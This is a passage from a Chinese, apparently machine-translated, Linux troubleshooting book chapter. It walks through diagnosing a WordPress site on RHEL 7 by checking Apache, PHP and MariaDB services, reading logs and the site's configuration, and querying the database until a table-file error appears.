-可以使用其他方法(如`rpm`)识别相同的信息。 这种方法的优点在于,如果服务器安装了两个 web 服务器服务,我们就知道哪些服务正在监听 80 端口。 这也告诉我们哪个服务提供了 WordPress 安装页面。 - -#### 正在验证数据库服务 - -一个常见的 WordPress 实现是在一台服务器上运行 Apache、PHP 和 MySQL 服务。 然而,有时 MySQL 服务将从另一个或多个服务器上运行。 为了更好地理解这个环境,我们应该检查这个环境是在本地还是从另一个服务器上运行 MySQL。 - -要检查这一点,我们将再次使用`ps`命令; 然而,这一次我们将使用`grep`来搜索与字符串“mysql”匹配的进程: - -```sh -$ ps -elf | grep mysql -4 S mysql 2045 1 0 80 0 - 28836 wait Jan12 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe --basedir=/usr -0 S mysql 2203 2045 0 80 0 - 226860 poll_s Jan12 ? 00:00:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --log- error=/var/log/mariadb/mariadb.log --pid- file=/var/run/mariadb/mariadb.pid -- socket=/var/lib/mysql/mysql.sock - -``` - -从前面的输出中可以看到,实际上有一个 MySQL 进程正在运行。 同样需要注意的是,`ps`输出显示`mysqld`进程正在使用以下选项:`–log-error=/var/log/mariadb/mariadb.log`。 - -这是重要的两个原因:首先,这是日志文件的位置`mysqld`的过程,第二个是这个日志文件**MariaDB**,这是不同于 MySQL。 - -我们可以通过`rpm`和`egrep`命令来确认 MySQL 或 MariaDB 是否已经安装。 - -```sh -$ rpm -qa | egrep "(maria|mysql)" -php-mysql-5.4.16-23.el7_0.3.x86_64 -mariadb-5.5.40-2.el7_0.x86_64 -mariadb-server-5.5.40-2.el7_0.x86_64 -mariadb-libs-5.5.40-2.el7_0.x86_64 - -``` - -`egrep`命令类似于`grep`; 但是,它接受正则表达式形式的搜索字符串。 在上面的命令中,我们使用`egrep`来搜索字符串“`mariadb`”或字符串“`mysql`”,从前面的输出中,我们可以看到这个服务器实际上安装了 MariaDB,但没有安装 MySQL。 - -有了这些信息,我们可以假设正在运行的`mysqld`进程实际上是 MariaDB 二进制程序。 我们可以通过使用`–q`(查询)和`–l`(列出所有文件)标志的`rpm`命令来验证这一点。 - -```sh -$ rpm -ql mariadb-server | grep "libexec/mysqld" -/usr/libexec/mysqld - -``` - -我们可以从`rpm`命令的输出中看到,正在运行的`/usr/libexec/mysqld`二进制文件被部署为**mariadb-server**包的一部分。 显示运行的数据库进程实际上是 MariaDB,并且是通过 MariaDB -server 包安装的。 - -现在,我们已经发现了以下关于该服务器上运行的数据库服务的事实: - -* 数据库服务实际上是 MariaDB -* MariaDB 运行 -* 此服务的日志文件位于`/var/log/mariadb/` - -虽然 MariaDB 是 MySQL 的临时替代品,但 WordPress 的需求并没有将其列为首选数据库服务。 注意这个差异很重要,因为它可能确定所报告问题的根本原因。 - -#### 验证 PHP - -既然我们知道 WordPress 需要 PHP,我们也应该检查一下它是否已经安装。 我们可以再次使用`rpm`命令来验证这一点。 - -```sh -$ rpm -qa | grep php -php-mbstring-5.4.16-23.el7_0.3.x86_64 -php-mysql-5.4.16-23.el7_0.3.x86_64 -php-enchant-5.4.16-23.el7_0.3.x86_64 -php-process-5.4.16-23.el7_0.3.x86_64 -php-xml-5.4.16-23.el7_0.3.x86_64 -php-simplepie-1.3.1-4.el7.noarch -php-5.4.16-23.el7_0.3.x86_64 -php-gd-5.4.16-23.el7_0.3.x86_64 -php-common-5.4.16-23.el7_0.3.x86_64 -php-pdo-5.4.16-23.el7_0.3.x86_64 -php-PHPMailer-5.2.9-1.el7.noarch -php-cli-5.4.16-23.el7_0.3.x86_64 -php-IDNA_Convert-0.8.0-2.el7.noarch -php-getid3-1.9.8-2.el7.noarch - -``` - -PHP 本身并不是作为 Apache 或 MySQL 之类的服务运行的,而是作为一个 web 服务器模块。 但是,可以将`php-fpm`这样的服务用作应用服务器。 这允许 PHP 作为一个服务运行,并被上游 web 服务器调用。 - -要检查此服务器是否运行`php-fpm`或任何其他 PHP 前端服务,我们可以再次使用`ps`和`grep`命令。 - -```sh -$ ps -elf | grep php -0 S root 6342 5676 0 80 0 - 28160 pipe_w 17:53 pts/0 00:00:00 grep --color=auto php - -``` - -通过使用`ps`命令,我们看不到任何特定的 PHP 服务; 然而,当我们访问博客时,我们能够看到安装页面。 这表明 PHP 被配置为直接通过 Apache 运行。 我们可以通过使用`–M`(modules)标志再次执行`httpd`二进制文件来验证这一点。 - -```sh -$ httpd -M | grep php - php5_module (shared) - -``` - -`–M`标志将告诉`httpd`二进制文件列出所有加载的模块。 这个列表中包括`php5_module`,这意味着 Apache 的安装能够通过`php5_module`运行 PHP 应用。 - -##### 已安装和正在运行的服务的摘要 - -在这一点上,我们已经从我们的数据收集中确定了以下几点: - -* Apache 的 WordPress 需求已经安装并运行 -* MySQL 的 WordPress 要求似乎被 MariaDB 满足了,它已经安装并运行 -* PHP 的 WordPress 要求已经安装,并且似乎正在工作 -* 看起来 WordPress 是部署在单服务器而不是多服务器上 - -现在我们可以假设这些事实意味着问题不是由缺少 WordPress 需求引起的。 - -通过收集所有这些数据点,我们不仅对正在进行故障排除的环境有了更多的了解,而且还消除了此问题的几个可能原因。 - -## 正在查找错误消息 - -现在已经确定了安装的和配置的服务,我们知道从哪里开始查找错误或有用消息。 在数据收集的下一个阶段中,我们将检查这些服务的各种日志文件,尝试识别可能表明此问题原因的任何错误。 - -### Apache 日志 - -由于 Apache 在发出 web 请求时调用 PHP,所以最有可能包含 PHP 相关错误的日志文件是 Apache 错误日志。 RHEL 的`httpd`包的默认日志位置为`/var/log/httpd/`。 然而,我们还不知道正在运行的`httpd`服务是否是 RHEL 打包版本。 - -#### 查找 Apache 日志的位置 - -因为我们不知道 Apache 日志的位置,所以我们需要找到它们。 找到日志文件的一种方法是在`/var/log`中查找与服务名称匹配的任何文件或文件夹。 然而,对于我们的示例来说,这个解决方案有点太简单了。 - -为了找到`httpd`日志文件的位置,我们将使用[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障排除命令和有用信息来源*中讨论的方法,并通过服务的配置文件进行搜索。 `/etc`文件夹是系统配置文件的默认文件夹。 它也是服务配置的标准位置。 因此,假定`/etc/`文件夹将包含`httpd`服务的配置文件或文件夹是相当安全的。 - -```sh -# cd /etc/httpd/ -# ls -la -total 20 -drwxr-xr-x. 5 root root 86 Jan 7 23:29 . -drwxr-xr-x. 79 root root 8192 Jan 13 16:10 .. -drwxr-xr-x. 2 root root 35 Jan 7 23:29 conf -drwxr-xr-x. 2 root root 4096 Jan 7 23:29 conf.d -drwxr-xr-x. 2 root root 4096 Jan 7 23:29 conf.modules.d -lrwxrwxrwx. 1 root root 19 Jan 7 23:29 logs -> ../../var/log/httpd -lrwxrwxrwx. 1 root root 29 Jan 7 23:29 modules -> ../../usr/lib64/httpd/modules -lrwxrwxrwx. 1 root root 10 Jan 7 23:29 run -> /run/httpd - -``` - -在前面的命令中,我们可以看到可以切换到包含几个配置文件的`/etc/httpd`文件夹。 因为我们不知道哪个配置文件包含日志记录配置,所以我们可能要花相当多的时间来阅读每个配置文件。 - -让这个过程更快,我们可以使用`grep`命令字符串搜索所有文件”`log`,“自`/etc/httpd/`文件夹包含子文件夹,我们可以简单地添加`–r`(递归)国旗导致`grep`命令来搜索文件包含在这些子文件夹。 - -```sh -# grep -r "log" /etc/httpd/* -./conf/httpd.conf:# with "/", the value of ServerRoot is prepended -- so 'log/access_log' -./conf/httpd.conf:# server as '/www/log/access_log', whereas '/log/access_log' will be -./conf/httpd.conf:# interpreted as '/log/access_log'. -./conf/httpd.conf:# container, that host's errors will be logged there and not here. -./conf/httpd.conf:ErrorLog "logs/error_log" -./conf/httpd.conf:# LogLevel: Control the number of messages logged to the error_log. -./conf/httpd.conf: -./conf/httpd.conf: -./conf/httpd.conf: # define per- access log files, transactions will be -./conf/httpd.conf: # logged therein and *not* in this file. -./conf/httpd.conf: #CustomLog "logs/access_log" common -./conf/httpd.conf: # If you prefer a log file with access, agent, and referer information -./conf/httpd.conf: CustomLog "logs/access_log" combined -./conf.modules.d/00-base.conf:LoadModule log_config_module modules/mod_log_config.so -./conf.modules.d/00-base.conf:LoadModule logio_module modules/mod_logio.so -./conf.modules.d/00-base.conf:#LoadModule log_debug_module modules/mod_log_debug.so - -``` - -### 提示 - -为了简洁起见,前面的代码片段已被截断,只显示了感兴趣的关键行。 - -虽然前面的`grep`命令有一些输出,但是如果我们查看返回的数据,可以看到实际上为`httpd`服务定义了两个日志文件:`logs/access_log`和`logs/error_log`。 - -```sh -./conf/httpd.conf:ErrorLog "logs/error_log" -./conf/httpd.conf: CustomLog "logs/access_log" combined - -``` - -所定义的日志使用`logs/`的相对路径; 该路径相对于“`httpd`服务运行目录”。 在本例中,这意味着 logs 文件夹实际上是`/etc/httpd/logs`; 然而,情况并非总是如此。 要验证是否如此,只需在`/etc/httpd`文件夹中使用`ls`命令执行一个文件夹清单。 - -```sh -# ls -la /etc/httpd | grep logs -lrwxrwxrwx. 1 root root 19 Jan 7 23:29 logs -> ../../var/log/httpd - -``` - -从`ls`命令可以看到`/etc/httpd/logs`存在; 但是,这不是一个文件夹,而是一个到`/var/log/httpd/`的符号链接。 这意味着两个日志文件(即`access_log`和`error_log`)实际上位于`/var/log/httpd/`文件夹中。 - -#### 查看日志 - -既然我们知道了日志文件的位置,我们就可以搜索这些日志文件以获得任何有用的信息。 为此,我们将使用`tail`命令。 - -`tail`是一个非常有用的命令,可以用来读取一个或多个文件的最后一部分。 默认情况下,当不带任何标志执行`tail`时,该命令将打印指定文件的最后 10 行。 - -对于我们的故障诊断,我们不仅希望看到最后 10 行数据,还希望查看文件中所附加的任何新数据。 为此,我们可以使用`–f`(follow)标志,它告诉`tail`跟踪指定的一个或多个文件。 - -```sh -# tail -f logs/access_log logs/error_log -==> logs/access_log <== -192.168.33.1 - - [12/Jan/2015:04:39:08 +0000] "GET /wp-includes/js/wp-util.min.js?ver=4.1 HTTP/1.1" 200 981 "http://blog.example.com/wp-admin/install.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" -"http://blog.example.com/wp-admin/install.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" -192.168.33.1 - - [12/Jan/2015:04:39:08 +0000] "GET /wp-admin/js/password-strength-meter.min.js?ver=4.1 HTTP/1.1" 200 737 "http://blog.example.com/wp-admin/install.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" -::1 - - [13/Jan/2015:16:08:33 +0000] "GET / HTTP/1.1" 302 - "-" "curl/7.29.0" -192.168.33.11 - - [13/Jan/2015:16:10:19 +0000] "GET / HTTP/1.1" 302 - "-" "curl/7.29.0" - -==> logs/error_log <== -[Sun Jan 11 06:01:03.679890 2015] [auth_digest:notice] [pid 952] AH01757: generating secret for digest authentication ... -[Sun Jan 11 06:01:03.680719 2015] [lbmethod_heartbeat:notice] [pid 952] AH02282: No slotmem from mod_heartmonitor -[Sun Jan 11 06:01:03.705469 2015] [mpm_prefork:notice] [pid 952] AH00163: Apache/2.4.6 (CentOS) PHP/5.4.16 configured -- resuming normal operations -[Sun Jan 11 06:01:03.705486 2015] [core:notice] [pid 952] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND' - -``` - -### 提示 - -`tail`命令的 RHEL 7 实现实际上可以同时跟踪多个文件。 要做到这一点,只需指定在执行命令时希望读取或遵循的所有文件。 上面是使用`tail`一次读取两个文件的示例。 - -虽然每个文件的最后 10 行没有导致立即的 PHP 错误,但这并不一定意味着这些文件不会显示我们需要的错误。 由于这是一个基于 web 的应用,我们可能需要加载应用以触发任何错误。 - -我们可以简单地打开浏览器,再次导航到`http://blog.example.com`。 然而,对于本例,我们将使用一个非常有用的故障诊断命令:`curl`。 - -##### 使用 curl 调用我们的 web 应用 - -`curl`命令可以作为客户端来访问许多不同类型的协议,从 FTP 到 SMTP。 这个命令在诊断 web 应用时特别有用,因为它可以作为 HTTP 客户端使用。 - -当故障排除一个 web 应用,您可以使用`curl`命令`HTTP`,`GET`或`POST`请求到指定的 URL,这在详细模式`–v`(verbose)旗可以产生相当多的有趣的信息。 - -```sh -$ curl -v http://blog.example.com -* About to connect() to blog.example.com port 80 (#0) -* Trying 192.168.33.11... -* Connected to blog.example.com (192.168.33.11) port 80 (#0) -> GET / HTTP/1.1 -> User-Agent: curl/7.29.0 -> Host: blog.example.com -> Accept: */* -> -< HTTP/1.1 302 Found -< Date: Tue, 13 Jan 2015 21:10:51 GMT -< Server: Apache/2.4.6 PHP/5.4.16 -< X-Powered-By: PHP/5.4.16 -< Expires: Wed, 11 Jan 1984 05:00:00 GMT -< Cache-Control: no-cache, must-revalidate, max-age=0 -< Pragma: no-cache -< Location: http://blog.example.com/wp-admin/install.php -< Content-Length: 0 -< Content-Type: text/html; charset=UTF-8 -< -* Connection #0 to host blog.example.com left intact - -``` - -前面的输出显示了我想要突出显示的四个关键信息片段。 - -```sh -* Connected to blog.example.com (192.168.33.11) port 80 (#0) - -``` - -前面的行告诉我们,当我们寻址名为`blog.example.com`的页面时,我们实际上访问了位于`192.168.33.11`的服务器。 虽然我们已经确定了`blog.example.com`解析为`192.168.33.11`,但这一行确认了该命令的输出产生了来自预期系统的数据。 - -```sh -< HTTP/1.1 302 Found - -``` - -第二段关键信息显示了由 web 服务器提供的 HTTP 状态代码。 - -在这种情况下,web 服务器以状态码`302`作为应答,该状态码用于指示临时重定向。 当浏览器请求一个页面时,web 服务器返回一个 302 状态码,浏览器知道将最终用户重定向到另一个页面。 - -```sh -< Location: http://blog.example.com/wp-admin/install.php - -``` - -下一页是由**Location**HTTP 头决定的。 这个由 web 服务器分配的报头,以及 HTTP 状态码 302 将导致任何浏览器将最终用户重定向到`/wp-admin/install.php`页面。 - -这解释了为什么当我们导航到`blog.example.com`时,我们会看到一个安装页面,因为 web 服务器只是简单地响应这个 302 重定向。 - -```sh -< X-Powered-By: PHP/5.4.16 - -``` - -第四个关键信息片段是 HTTP 报头**X-Powered-By**; 这是一个由 PHP 添加的 HTTP 头。 当被请求的页面被 PHP 处理时,PHP 添加了这个头,这意味着我们的 curl 请求实际上是由 PHP 处理的。 - -更重要的是,我们可以看到 PHP 版本(5.4.16)满足了 WordPress 所列出的最低要求。 - -##### 请求非 php 页面 - -我们可以看到,当请求非 php 页面时,web 服务器的回复中没有添加**X-Powered-By**报头。 我们可以通过请求无效的 URL 来实现这一点。 - -```sh -# curl -v http://192.168.33.11/sdfas -* About to connect() to 192.168.33.11 port 80 (#0) -* Trying 192.168.33.11... -* Connected to 192.168.33.11 (192.168.33.11) port 80 (#0) -> GET /sdfas HTTP/1.1 -> User-Agent: curl/7.29.0 -> Host: 192.168.33.11 -> Accept: */* -> -< HTTP/1.1 404 Not Found -< Date: Tue, 13 Jan 2015 21:18:57 GMT -< Server: Apache/2.4.6 PHP/5.4.16 -< Content-Length: 203 -< Content-Type: text/html; charset=iso-8859-1 - -``` - -从请求非 php 页面时获得的输出可以看出,X-Powered-By 头不存在。 这表明 web 服务器没有将此页面处理为 PHP。 - -X-Powered-By 头的出现告诉我们,当我们请求`blog.example.com`页面时,它被 PHP 处理了。 这也意味着 302 的 HTTP 状态码是 WordPress 提供的响应。 该信息非常重要,因为它意味着 PHP 很可能处理没有任何问题的页面,从而消除了 PHP 作为报告问题的可能根源,至少目前如此。 - -我们可以通过查看从上述 web 请求生成的任何日志条目来进一步验证这一点。 - -##### 查看已生成的日志项 - -当使用`curl`进行上述的请求时,我们应该将新的日志消息附加到两个`httpd`日志中。 因为我们使用了`tail`命令来连续跟踪日志文件,所以我们可以返回到终端并查看新消息。 - -```sh -==> logs/access_log <== -192.168.33.11 - - [13/Jan/2015:23:22:17 +0000] "GET / HTTP/1.1" 302 - "-" "curl/7.29.0" - -``` - -在我们对博客 URL 进行 HTTP 请求之后,两个日志中的唯一条目都是前一个条目。 然而,这只是一条信息日志消息,而不是解释问题的错误。 然而,信息日志消息也是一个关键数据点。 如果 PHP 代码或处理有问题,将会生成类似以下内容的错误消息。 - -```sh -[Tue Jan 13 23:24:31.339293 2015] [:error] [pid 5333] [client 192.168.33.11:52102] PHP Parse error: syntax error, unexpected 'endif' (T_ENDIF) in /var/www/html/wp-includes/functions.php on line 2574 - -``` - -没有出现 PHP 错误实际上证实了 PHP 正在按预期工作。 当结合`curl`结果时,我们可以确信 PHP 不是根本原因。 - -#### 我们从 httpd 日志中学到的 - -虽然`httpd`服务日志可能没有向我们显示一个错误来解释为什么会出现这个问题,但它们允许我们消除一个可能的原因。 在进行故障排除时,您经常会发现自己在找到问题的确切原因之前排除了许多可能的原因。 前面提到的故障排除步骤正是这样,从而消除了可能的原因。 - -## 数据库验证 - -之前,当检查正在运行的服务时,我们发现 MariaDB 服务正在运行。 但是,我们没有验证我们是否可以访问该服务,或者 WordPress 应用是否可以访问该数据库服务。 - -要验证是否可以访问 MariaDB 服务,只需使用`mysql`命令。 - -```sh -# mysql -Welcome to the MariaDB monitor. Commands end with ; or \g. -Your MariaDB connection id is 28 -Server version: 5.5.40-MariaDB MariaDB Server - -Copyright (c) 2000, 2014, Oracle, Monty Program Ab and others. - -Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - -MariaDB [(none)]> - -``` - -`mysql`命令实际上是 MariaDB 客户端命令。 当以**root**用户从命令行运行时(如上所示),`mysql`命令默认将以 MariaDB 根用户登录到 MariaDB 服务。 虽然这是默认的行为,但是可以将 MariaDB 服务配置为不允许直接的根用户登录。 - -上述结果表明 MariaDB 允许直接根用户登录,这表明 MariaDB 服务本身已经启动并接受连接。 他们没有透露的是 WordPress 应用是否可以访问数据库。 - -要确定这一点,我们需要使用与应用相同的用户名和密码登录到 MariaDB 服务。 - -### 验证 WordPress 数据库 - -为了使用与 WordPress 相同的凭据连接到 MariaDB 服务,我们需要获取这些凭据。 我们可以向报告问题的人询问这些细节,但作为业务用户,他们很可能不知道。 即使他们每天使用 WordPress,一般情况下,数据库用户名和密码都是由一个人配置的,只在安装时使用。 - -这意味着我们必须自己找到这些信息。 一种方法是查看 WordPress 的配置,因为每个连接到数据库的 web 应用都必须从某个地方获得登录凭证,而最常见的方法是将它们存储在一个配置文件中。 - -对这种方法的一个有趣的挑战是,这一章假设我们对 WordPress 知之甚少。 找到 WordPress 将其数据库凭证存储在哪里是一件有点棘手的事情; 这一点尤其正确,因为我们也不知道 WordPress 应用安装在哪里。 - -#### 找到 WordPress 的安装路径 - -我们所知道的是 WordPress 是一个由`httpd`服务提供的 web 应用。 这意味着`httpd`服务将在其配置文件中定义安装路径。 - -`httpd`的默认配置是从默认文件夹提供单个域。 默认文件夹可以在不同的发行版之间更改,但通常,对于 RHEL 系统,它被放在`/var/www/html`下。 - -可以配置`httpd`来服务多个域; 这是通过**Virtual Hosts**配置完成的。 此时,我们不知道这个系统是配置为托管多个域还是一个域。 - -##### 检查默认配置 - -使用默认的单域配置,任何和所有指向服务器 IP 的域都将提供相同的`.html`或`.php`文件。 使用 Virtual Hosts,您可以配置 Apache 来服务于特定的`.html`或`.php`文件,这取决于请求被发送到的域。 - -我们可以通过执行一个简单的`grep`命令来确定`httpd`服务是为 Virtual Hosts 配置的,还是为单个域配置的。 - -```sh -# grep -r "DocumentRoot" /etc/httpd/ -/etc/httpd/conf/httpd.conf:# DocumentRoot: The folder out of which you will serve your -/etc/httpd/conf/httpd.conf:DocumentRoot "/var/www/html" -/etc/httpd/conf/httpd.conf: # access content that does not live under the DocumentRoot. - -``` - -因为`/etc/httpd`文件夹有多个子文件夹,所以我们再次为`grep`使用`–r`(递归)标志。 该命令在整个`/etc/httpd`文件夹结构中搜索**DocumentRoot**字符串。 - -DocumentRoot 是 Apache 配置项,它指定包含指定域的`.html`或`.php`文件的本地文件夹。 对于为多个域配置的系统,`DocumentRoot`设置将出现多次,而对于单个域配置,则只会出现一次。 - -从上面的输出可以看到,在这个服务器上,`DocumentRoot`只定义了一次,并设置为`/var/www/html`。 由于这是 RHEL 系统的默认值,因此可以相当安全地假设`httpd`服务是在一个基于域的配置中配置的。 - -为了验证这是 WordPress 的安装文件夹,我们可以简单地执行`ls`命令来列出该路径中的文件和文件夹。 - -```sh -# ls -la /var/www/html/ -total 156 -drwxr-xr-x. 5 root root 4096 Jan 9 22:54 . -drwxr-xr-x. 4 root root 31 Jan 7 23:29 .. --rw-r--r--. 1 root root 418 Jan 9 21:48 index.php --rw-r--r--. 1 root root 4951 Jan 9 21:48 wp-activate.php -drwxr-xr-x. 9 root root 4096 Jan 9 21:48 wp-admin --rw-r--r--. 1 root root 271 Jan 9 21:48 wp-blog-header.php --rw-r--r--. 1 root root 5008 Jan 9 21:48 wp-comments-post.php --rw-r--r--. 1 root root 3159 Jan 9 22:01 wp-config.php --rw-r--r--. 1 root root 2726 Jan 9 21:48 wp-config-sample.php -drwxr-xr-x. 6 root root 77 Jan 9 21:48 wp-content --rw-r--r--. 1 root root 2956 Jan 9 21:48 wp-cron.php -drwxr-xr-x. 10 root root 4096 Jan 13 23:25 wp-includes --rw-r--r--. 1 root root 2380 Jan 9 21:48 wp-links-opml.php --rw-r--r--. 1 root root 2714 Jan 9 21:48 wp-load.php --rw-r--r--. 1 root root 33435 Jan 9 21:48 wp-login.php --rw-r--r--. 1 root root 8252 Jan 9 21:48 wp-mail.php --rw-r--r--. 1 root root 11115 Jan 9 21:48 wp-settings.php --rw-r--r--. 1 root root 25152 Jan 9 21:48 wp-signup.php --rw-r--r--. 1 root root 4035 Jan 9 21:48 wp-trackback.php --rw-r--r--. 1 root root 3032 Jan 9 21:48 xmlrpc.php - -``` - -从`ls`命令的输出,我们可以看到 WordPress 实际上安装在`/var/www/html/`中。 我们可以根据大量的`.php`文件以及这些文件的“`wp-`”命名方案得出结论。 不过,这一点将在接下来的步骤中得到证实。 - -#### 查找数据库凭证 - -现在我们已经确定了安装文件夹,我们只需要在 WordPress 应用的配置文件中找到数据库凭证。 不幸的是,我们对 WordPress 不是很熟悉,也不知道这些文件中哪些包含数据库凭证。 - -那我们要怎么找到他们? 当然是通过谷歌搜索。 - -正如我们在[第 1 章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices")、*故障排除最佳实践*中所述,谷歌可以成为系统管理员最好的朋友。 由于 WordPress 是一个常见的开源应用,所以很可能会有在线帮助文档来介绍如何配置或至少恢复数据库密码。 - -首先,我们将通过谷歌简单地搜索*WordPress 数据库配置*。 在搜索谷歌时,我们发现第一个结果之一链接到 WordPress 论坛,用户在论坛中询问在 WordPress 中哪里可以找到数据库详细信息。 ([https://wordpress.org/support/topic/finding-the-database-settings-in-wordpress](https://wordpress.org/support/topic/finding-the-database-settings-in-wordpress))。 - -第一个答案是查看`wp-config.php` 文件。 - -### 提示 - -虽然 Google 这种类型的信息对于流行的开源项目来说很容易,但是对于闭源应用也很有效,因为很多时候即使是闭源应用的文档都是在线的,并且通过谷歌进行索引。 - -要获取数据库详细信息,可以使用`less`命令读取`wp-config.php`文件。 `less`命令是一个简单的命令,允许用户通过命令行读取文件。 这对于大文件特别有用,因为它缓冲输出,而不是像`cat`命令那样简单地将所有内容转储到屏幕上。 - -```sh -# less /var/www/html/wp-config.php - -// ** MySQL settings - You can get this information from your web host ** // -/** The name of the database for WordPress */ -define('DB_NAME', 'wordpress'); - -/** MySQL database username */ -define('DB_USER', 'wordpress'); - -/** MySQL database password */ -define('DB_PASSWORD', 'password'); - -/** MySQL hostname */ -define('DB_HOST', 'localhost'); - -``` - -通过读取配置文件,我们可以清楚地看到数据库凭证,它们位于文件的顶部。 下面是我们可以从这个文件中提取的细节列表: - -* `NAME`(`wordpress`)是 WordPress 正在使用的数据库 -* `HOST`(`localhost`)表示 WordPress 正在尝试连接 - - ```sh - define('DB_HOST', 'localhost'); - ``` - -* WordPress 正在尝试使用 - - ```sh - define('DB_USER', 'wordpress'); - ``` - - 认证的`USER`(`wordpress`)数据库 -* `PASSWORD`(`password`)用于认证 - - ```sh - define('DB_PASSWORD', 'password'); - ``` - -通过上面的细节,我们可以像 WordPress 应用那样连接到 MariaDB 服务。 这将是我们故障排除过程中的一个关键步骤。 - -##### 作为 WordPress 用户正在连接 - -现在我们有了数据库凭据,我们可以使用`mysql`命令再次测试连接。 要使用特定的用户名和密码连接到 MariaDB,我们需要使用`mysql`命令中的`–u`(用户)和`–p`(密码)标志。 - -```sh -# mysql –uwordpress -p -Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. -Your MariaDB connection id is 30 -Server version: 5.5.40-MariaDB MariaDB Server -MariaDB [(none)]> - -``` - -在前面的命令中,我们可以看到我们在`–u`标志之后添加了用户名,但是在`–p`标志之后没有添加密码。 因为我们没有包含密码,所以`mysql`客户端只是在我们按 enter 键后要求输入密码。 虽然可以在`–p`之后包含密码,但从安全性的角度来看,这是一种糟糕的做法。 最好让`mysql`客户机请求密码,以减少密码被查看命令历史记录的人泄露的机会。 - -从`mysql`客户端连接中,我们可以看到,通过使用与 WordPress 相同的凭据,我们能够登录到 MariaDB 服务。 这一点很重要,因为无法连接到数据库服务将影响 WordPress 应用,并且可能是所报告问题的一个可能原因。 - -##### 验证数据库结构 - -由于我们可以通过使用 WordPress 凭据将连接到 MariaDB 服务,所以接下来我们应该验证数据库结构是否存在并完好无损。 - -### 提示 - -在本节中,我们将从 MariaDB 命令行界面执行**Structured Query Language**(**SQL**)语句。 这些语句不是 shell 命令,而是 SQL 查询。 - -SQL 是与关系数据库(如 MySQL、MariaDB、Postgres 和 Oracle)交互的标准语言。 虽然 SQL 不一定是每个管理员都需要知道的语言,但我建议任何支持大量数据库的系统管理员至少应该知道 SQL 的基本知识。 - -如果您所支持的环境没有管理数据库和数据库服务的特定数据库管理员,这一点尤其正确。 - -验证的第一项是数据库本身已创建并可访问。 我们可以通过使用`show databases`查询来做到这一点。 - -```sh -MariaDB [(none)]> show databases; -+--------------------+ -| Database | -+--------------------+ -| information_schema | -| test | -| wordpress | -+--------------------+ -3 rows in set (0.00 sec) - -``` - -我们可以看到 WordPress 数据库实际上列在这个输出中,这意味着它是存在的。 为了验证 WordPress 数据库是可访问的,我们将使用`use`SQL 语句。 - -```sh -MariaDB [(none)]> use wordpress; -Database changed - -``` - -通过`Database changed`的结果,我们似乎已经确认了数据库本身已经创建并可以访问。 那么,这个数据库中的表呢? 我们可以通过使用`show tables`查询来验证数据库表是否已经创建。 - -```sh -MariaDB [wordpress]> show tables; -+-----------------------+ -| Tables_in_wordpress | -+-----------------------+ -| wp_commentmeta | -| wp_comments | -| wp_links | -| wp_options | -| wp_postmeta | -| wp_posts | -| wp_term_relationships | -| wp_term_taxonomy | -| wp_terms | -| wp_usermeta | -| wp_users | -+-----------------------+ -11 rows in set (0.00 sec) - -``` - -从结果来看,似乎存在相当多的表。 - -由于我们对 WordPress 是新手,所以很有可能我们遗漏了一个表,而我们甚至不知道它。 WordPress 是记录在线很广泛,我们可能会发现一个表列表搜索*WordPress 数据库表*列表,它返回一个非常有用的数据库描述的 WordPress 文档页面:https://codex.wordpress.org/Database_Description([)](https://codex.wordpress.org/Database_Description) - -在比较了`show tables`查询和 Database Description 页面的输出后,我们发现没有表丢失。 - -因为我们知道哪些表存在,所以我们应该检查这些表是否可访问; 我们可以通过运行一个`select`查询来做到这一点。 - -```sh -MariaDB [wordpress]> select count(*) from wp_users; -ERROR 1017 (HY000): Can't find file: './wordpress/wp_users.frm' (errno: 13) - -``` - -终于,我们发现了一个错误! - -然而,我们发现的错误非常有趣,因为它不是通常在 SQL 查询中看到的错误。 事实上,这个错误似乎表明包含表数据的文件存在问题。 - -#### 我们从数据库验证中学到什么 - -此时,在对数据库进行验证后,我们了解到以下内容: - -* MariaDB 可以被根用户和 WordPress 应用访问 -* WordPress 用户创建并访问正在访问的数据库 -* 在查询其中一个数据库表时显示错误 - -有了这些信息,我们可以通过建立假设进入故障排除过程的下一步。 - -# 建立假设 - -在故障排除过程的这个阶段,我们将利用收集到的所有信息来确定问题发生的原因以及如何解决问题的想法。 - -首先,让我们回顾一下我们从数据收集步骤中学到了什么。 - -* 一个已建立的博客网站目前正在显示一个页面,该页面被设计为只在博客软件的初始安装期间显示 -* 该博客使用开源软件 WordPress -* WordPress 是用 PHP 编写的,同时使用 Apache 和 MariaDB 服务 -* Apache 和 PHP 工作正常,没有显示任何错误 -* WordPress 的安装位置在`/var/www/html` -* MariaDB 服务已经启动并接受连接 -* WordPress 应用能够连接到数据库服务 -* 当从数据库表中读取数据时,我们收到一个错误,表明包含数据库数据的文件有问题 - -我们可以从所有这些数据点得出如下假设: - -在某些情况下,MariaDB 服务无法访问 MariaDB 的数据文件,更确切地说,是 WordPress 数据库。 当 WordPress 连接到数据库时,似乎无法查询表; 因此,它认为应用还没有安装。 因为 WordPress 不认为应用已经安装,所以它显示了一个安装页面。 - -我们可以根据以下关键信息来阐述这个假设: - -1. 我们看到的唯一错误是 MariaDB 的错误。 -2. 该错误不是典型的 SQL 错误,消息本身表明访问数据库文件时出现了问题。 -3. Apache 日志中没有 PHP 错误。 -4. WordPress 环境的其他一切似乎都是正确的。 - -现在我们已经形成了一个假设,我们需要通过尝试解决这个问题来验证这是正确的。 这将我们带到故障排除过程的第三个阶段:*Trial and Error*。 - -# 解决问题 - -在这个阶段,我们将尝试解决这个问题。 为此,让我们看一下这些数据文件是什么以及它们的用途。 - -## 了解数据库数据文件 - 